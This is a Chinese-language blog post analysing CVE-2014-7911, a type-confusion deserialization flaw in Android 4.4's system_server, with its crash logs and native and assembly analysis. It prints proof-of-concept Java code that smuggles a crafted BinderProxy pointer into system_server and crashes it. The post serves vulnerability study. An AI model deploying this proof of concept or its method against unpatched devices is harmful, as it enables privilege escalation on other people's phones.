BruceFan's Blog

Stay hungry, stay foolish

0%

CVE-2014-7911 Android提权漏洞(一)

漏洞分析

system_server传入不可序列化的android.os.BinderProxy对象实例,其成员变量在反序列化时发生类型混淆,由于BinderProxyfinalize()包含native代码,于是在native代码执行时将成员变量强制转换为指针,注意到成员变量是攻击者可控的,攻击者可以控制该指针指向可控的地址空间,最终获得在system_server(uid=1000)中执行代码的权限。

Java层分析
根据漏洞的PoC:
1.构建可序列化的恶意对象
创建AAdroid.os.BinderProxy对象,并将其放入Bundle数据中:

1
2
3
Bundle b = new Bundle();
AAdroid.os.BinderProxy evilProxy = new AAdroid.os.BinderProxy()
b.putSerializable("eatthis", evilProxy);

注意AAdroid.os.BinderProxy是可序列化的,其成员变量mOrgue就是用于改变程序执行流程的指针。该可序列化对象在传入system_server之前将会被修改为不可序列化的Android.os.BinderProxy对象:

1
2
3
4
5
6
public class BinderProxy implements Serializable {
private static final long serialVersionUID = 0;
// 注意此处要根据待测的Android版本号设置,我们待测的Android4.4.4 BinderProxy的这两个域为private int,这样才能保证POC访问的地址为我们设置的值0x1337beef
private int mObject = 0x1337beef;
private int mOrgue = 0x1337beef;
}

2.准备传入system_server的数据
通过Java反射机制,获得android.os.IUserManager.Stubandroid.os.IUserManager.Stub.Proxy的Class对象,最终获得跨进程调用system_server的IBinder接口mRemote,以及调用UserManager.setApplicationRestriction函数的codeTRANSACTION_setApplicationRestrictions,为与system_server的跨进程Binder通信作准备。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// 获取android.os.IUserManager.Stub类
Class clIUserManager = Class.forName("android.os.IUserManager");
Class[] umSubclasses = clIUserManager.getDeclaredClasses();
System.out.println(umSubclasses.length+" inner classes found");
Class clStub = null;
for (Class c: umSubclasses) {
System.out.println("inner class: "+c.getCanonicalName()); // 和getName没什么不同,只有array和内部类形式不同
if (c.getCanonicalName().equals("android.os.IUserManager.Stub")) {
clStub = c;
}
}
// 获取android.os.IUserManager.Stub类中TRANSACTION_setApplicationRestrictions的值用于transact()
Field fTRANSACTION_setApplicationRestrictions =
clStub.getDeclaredField("TRANSACTION_setApplicationRestrictions");
fTRANSACTION_setApplicationRestrictions.setAccessible(true);
TRANSACTION_setApplicationRestrictions =
fTRANSACTION_setApplicationRestrictions.getInt(null);

// 获取UserManager类对象实例
UserManager um = (UserManager) ctx.getSystemService(Context.USER_SERVICE);
// 获取UserManager类中mService成员变量,类型为IUserManager
Field fService = UserManager.class.getDeclaredField("mService");
fService.setAccessible(true);
// 获取UserManager类对象实例的mService成员变量值
Object proxy = fService.get(um);

// 获取android.os.IUserManager.Stub.Proxy类
Class[] stSubclasses = clStub.getDeclaredClasses();
System.out.println(stSubclasses.length+" inner classes found");
clProxy = null;
for (Class c: stSubclasses) {
System.out.println("inner class: "+c.getCanonicalName());
if (c.getCanonicalName().equals("android.os.IUserManager.Stub.Proxy")) {
clProxy = c;
}
}

// 获取android.os.IUserManager.Stub.Proxy类中的mRemote成员变量
Field fRemote = clProxy.getDeclaredField("mRemote");
fRemote.setAccessible(true);
// 获取IUserManager类对象实例的内部类Stub.Proxy的mRemote成员变量值
mRemote = (IBinder) fRemote.get(proxy);

UserHandle me = android.os.Process.myUserHandle();
setApplicationRestrictions(ctx.getPackageName(), b, me.hashCode());

3.向system_server传入不可序列化的Bundle参数
调用setApplicationRestrictions这个函数,并传入之前打包了evilproxy的Bundle对象作为参数。将该函数与Android源码中的setApplicationRestrictions函数对比,主要区别在于将传入的Bundle对象进行了修改,将可序列化的AAdroid.os.BinderProxy对象修改为不可序列化的android.os.BinderProxy对象,这样就把不可序列化的Bundle数据通过Binder跨进程调用,传入system_serverandroid.os.UserManager.setApplicationRestrictions()了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public void setApplicationRestrictions(java.lang.String packageName, android.os.Bundle restrictions, int
userHandle) throws android.os.RemoteException
{
android.os.Parcel _data = android.os.Parcel.obtain();
android.os.Parcel _reply = android.os.Parcel.obtain();
try {
_data.writeInterfaceToken(DESCRIPTOR);
_data.writeString(packageName);
_data.writeInt(1);
restrictions.writeToParcel(_data, 0);
_data.writeInt(userHandle);
// 修改AAdroid.os.BinderProxy为android.os.BinderProxy
byte[] data = _data.marshall();
for (int i=0; true; i++) {
if (data[i] == 'A' && data[i+1] == 'A' && data[i+2] == 'd' && data[i+3] == 'r') {
data[i] = 'a';
data[i+1] = 'n';
break;
}
}
_data.recycle();
_data = Parcel.obtain();
_data.unmarshall(data, 0, data.length);

mRemote.transact(TRANSACTION_setApplicationRestrictions, _data, _reply, 0);
_reply.readException();
}
finally {
_reply.recycle();
_data.recycle();
}
}

将PoC安装到设备上,启动Activity后最小化,触发GC,引起Android系统重启,从Logcat日志中可以看到,system_server执行到了之前设置的BinderProxy对象的0x1337beef这个值,访问不了该内存导致异常:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
I/badserial(19536): starting... (v3)
I/System.out(19536): 1 inner classes found
I/System.out(19536): inner class: android.os.IUserManager.Stub
I/System.out(19536): 1 inner classes found
I/System.out(19536): inner class: android.os.IUserManager.Stub.Proxy
I/badserial(19536): waiting for boom here and over in the system service...
E/UserManagerService(17929): Error writing application restrictions list
I/Adreno-EGL(19536): <qeglDrvAPI_eglInitialize:320>: EGL 1.4 QUALCOMM Build: I0404c4692afb8623f95c43aeb6d5e13ed4b30ddbDate: 11/06/13
D/OpenGLRenderer(19536): Enabling debug mode 0
I/ActivityManager(17929): Displayed net.thejh.badserial/.MainActivity: +251ms
D/dalvikvm(17929): GC_FOR_ALLOC freed 159K, 5% free 22258K/23376K, paused 21ms, total 21ms
I/dalvikvm-heap(17929): Grow heap (frag case) to 22.581MB for 856096-byte allocation
D/dalvikvm(17929): GC_FOR_ALLOC freed 2K, 5% free 23091K/24216K, paused 28ms, total 28ms
F/libc (17929): Fatal signal 11 (SIGSEGV) at 0x1337bef3 (code=1), thread 17938 (FinalizerDaemon)
D/dalvikvm(17929): GC_FOR_ALLOC freed 148K, 6% free 22944K/24216K, paused 25ms, total 25ms
I/dalvikvm-heap(17929): Grow heap (frag case) to 23.250MB for 856096-byte allocation
D/dalvikvm(17929): GC_FOR_ALLOC freed 0K, 6% free 23780K/25056K, paused 22ms, total 22ms
I/DEBUG ( 173): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG ( 173): Build fingerprint: 'unknown'
I/DEBUG ( 173): Revision: '11'
I/DEBUG ( 173): pid: 17929, tid: 17938, name: FinalizerDaemon >>> system_server <<<
I/DEBUG ( 173): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 1337bef3
I/DEBUG ( 173): r0 1337beef r1 401e2551 r2 7469a210 r3 6d4a1cb4
I/DEBUG ( 173): AM write failure (32 / Broken pipe)
I/DEBUG ( 173): r4 401e2551 r5 1337beef r6 71cda870 r7 1337beef
I/DEBUG ( 173): r8 1337beef r9 74a4ff68 sl 7469a220 fp 74b4db24
I/DEBUG ( 173): ip 4021a8c8 sp 74b4dae8 lr 401e14f9 pc 4012f176 cpsr 200f0030
I/DEBUG ( 173): d0 0000010000000001 d1 6d49d43000000000
I/DEBUG ( 173): d2 0000000000000000 d3 0000000000000000
I/DEBUG ( 173): d4 0000000000000000 d5 0000000000000000
I/DEBUG ( 173): d6 0000000000000000 d7 42c800004bad7074
I/DEBUG ( 173): d8 0000000000000000 d9 0000000000000000
I/DEBUG ( 173): d10 0000000000000000 d11 0000000000000000
I/DEBUG ( 173): d12 0000000000000000 d13 0000000000000000
I/DEBUG ( 173): d14 0000000000000000 d15 0000000000000000
I/DEBUG ( 173): d16 0000000000000000 d17 0000000000000000
I/DEBUG ( 173): d18 0000000000000000 d19 0000000000000000
I/DEBUG ( 173): d20 0000000000000000 d21 0000004400000044
I/DEBUG ( 173): d22 0000000000000000 d23 0000000000000000
I/DEBUG ( 173): d24 0000000000000000 d25 0002a7600002a760
I/DEBUG ( 173): d26 0707070703030303 d27 0300000004000000
I/DEBUG ( 173): d28 0800000009000000 d29 0001000000010000
I/DEBUG ( 173): d30 010b400001088000 d31 01108000010e0000
I/DEBUG ( 173): scr 80000010
I/DEBUG ( 173):
I/DEBUG ( 173): backtrace:
I/DEBUG ( 173): #00 pc 0000d176 /system/lib/libutils.so (android::RefBase::decStrong(void const*) const+3)
I/DEBUG ( 173): #01 pc 000704f5 /system/lib/libandroid_runtime.so
I/DEBUG ( 173): #02 pc 0001decc /system/lib/libdvm.so (dvmPlatformInvoke+112)
I/DEBUG ( 173): #03 pc 0004e423 /system/lib/libdvm.so (dvmCallJNIMethod(unsigned int const*, JValue*, Method const*, Thread*)+398)
I/DEBUG ( 173): #04 pc 000272e0 /system/lib/libdvm.so
I/DEBUG ( 173): #05 pc 0002e2a0 /system/lib/libdvm.so (dvmMterpStd(Thread*)+76)
I/DEBUG ( 173): #06 pc 0002b938 /system/lib/libdvm.so (dvmInterpret(Thread*, Method const*, JValue*)+184)
I/DEBUG ( 173): #07 pc 00060881 /system/lib/libdvm.so (dvmCallMethodV(Thread*, Method const*, Object*, bool, JValue*, std::__va_list)+336)
I/DEBUG ( 173): #08 pc 000608a5 /system/lib/libdvm.so (dvmCallMethod(Thread*, Method const*, Object*, JValue*, ...)+20)
I/DEBUG ( 173): #09 pc 0005558b /system/lib/libdvm.so
I/DEBUG ( 173): #10 pc 0000d170 /system/lib/libc.so (__thread_entry+72)
I/DEBUG ( 173): #11 pc 0000d308 /system/lib/libc.so (pthread_create+240)

Native层分析
如果对象可序列化,则反序列化时,其field引用的对象也会被反序列化。但PoC中android.os.BinderProxy对象实例不可序列化,这样在ObjectInputStream反序列化android.os.BinderProxy对象时,发生了类型混淆(type confusion),其field被当做随后由native代码处理的指针。这个field就是mOrgue成员变量。
android.os.BinderProxyfinalize()调用native代码,将mOrgue处理为指针。
代码清单 /frameworks/base/core/java/android/os/Binder.java

1
2
3
4
5
6
7
8
protected void finalize() throws Throwable {
try {
destroy();
} finally {
super.finalize();
}
}
private native final void destroy();

destroy的native代码:
代码清单 /frameworks/base/core/jni/android_util_Binder.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static void android_os_BinderProxy_destroy(JNIEnv* env, jobject obj)
{
IBinder* b = (IBinder*)
env->GetIntField(obj, gBinderProxyOffsets.mObject);
// drl就是mOrgue,可以被攻击者控制
DeathRecipientList* drl = (DeathRecipientList*)
env->GetIntField(obj, gBinderProxyOffsets.mOrgue);

LOGDEATH("Destroying BinderProxy %p: binder=%p drl=%p\n", obj, b, drl);
env->SetIntField(obj, gBinderProxyOffsets.mObject, 0);
env->SetIntField(obj, gBinderProxyOffsets.mOrgue, 0);
// 所以,方法调用使用的this指针可由攻击者控制
drl->decStrong((void*)javaObjectForIBinder);
b->decStrong((void*)javaObjectForIBinder);
IPCThreadState::self()->flushCommands();
}

下面是RefBase类中的decStrong方法:
代码清单 /system/core/libutils/RefBase.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void RefBase::decStrong(const void* id) const
{
weakref_impl* const refs = mRefs;
refs->removeStrongRef(id);
const int32_t c = android_atomic_dec(&refs->mStrong);
#if PRINT_REFS
ALOGD("decStrong of %p from %p: cnt=%d\n", this, id, c);
#endif
ALOG_ASSERT(c >= 1, "decStrong() called on %p too many times", refs);
if (c == 1) {
// 这里最终导致代码执行
refs->mBase->onLastStrongRef(id);
if ((refs->mFlags&OBJECT_LIFETIME_MASK) == OBJECT_LIFETIME_STRONG) {
delete this;
}
}
refs->decWeak(id);
}

汇编代码分析
下面看一下发生异常时最后调用的RefBase::decStrong的汇编代码。将/system/lib/libutils.so下载到本地用IDA打开,查看android::RefBase::decStrong函数。(攻击者能控制r0this指针

对r0的使用是在decStrong()的前三行代码中:

1
2
3
weak_impl* const refs = mRefs;
refs->removeStrongRef(id); // 这个函数为空实现,编译器进行了优化,没有对应的汇编代码
const int32_t c = android_atomic_dec(&refs->mStrong);

对应的汇编代码为:

1
2
3
4
ldr r4, [r0, #4]
mov r6, r1
mov r0, r4
blx <android_atomic_dec()>

r0drlthis指针,mRefs是虚函数表之后的第一个私有变量,因此mRefsr0+4所指向的内容,即r4mRefs。因为r0+4=0x1337beef+4,0x1337bef3内存不可访问导致异常,即PoC引起系统重启的原因。

C++的对象所占的存储空间只有虚函数表+成员变量所占的空间,成员函数和普通函数一样,直接调用。

android_atomic_dec()函数被调用,传入参数&refs->mStrong,mStrong是refs的第一个成员变量,因为weakref_impl没有虚函数,所以没有虚函数表,因此r4指向的内容即为mStrong
接着执行以下代码:

1
2
3
if (c == 1) {
refs->mBase->onLastStrongRefs(id);
}

对应的汇编代码:

1
2
3
4
5
6
7
cmp r0, #1
bne loc_d19c
ldr r0, [r4, #8]
mov r1, r6
ldr r3, [r0]
ldr r2, [r3, #0xc]
blx r2

注意,android_atomic_dec()执行强引用计数减1,返回的是执行减1操作之前所指定的内存地址存放的值。为了执行refs->mBase->onLastStrongRef(id)blx r2,攻击者需要使refs->mStrong为1。
至此,可以得出攻击者要实现代码执行,需要满足如下条件:
1.drl(即mOrgue,第一个可控的指针,在进入decStrong函数时的r0)必须指向可读的内存区域;
2.refs->mStrong必须为1;
3.refs->mBase->onLastStrongRef(id)需要执行。并最终指向可执行的内存区域。
即满足如下伪代码:

1
2
3
4
5
if (*(*(mOrgue+4)) == 1) {
refs = *(mOrgue+4)
r2 = *(*(*(refs+8))+12)
blx r2 ----->获取控制权
}

为了成功获得任意代码执行,攻击者需要克服Android中的漏洞缓解技术:ASLRDEP。可以使用堆喷射、堆栈转移(stack pivoting)和ROP等技术。
通过学习这种多种技术结合的Android系统漏洞,我发现自己欠缺的知识太多,其中随便一个知识点都够写一篇文章的了,不过也能惊喜的发现以前学过的知识说不定就用到了。
reference
cve-2014-7911安卓提权漏洞分析 by 小荷才露尖尖角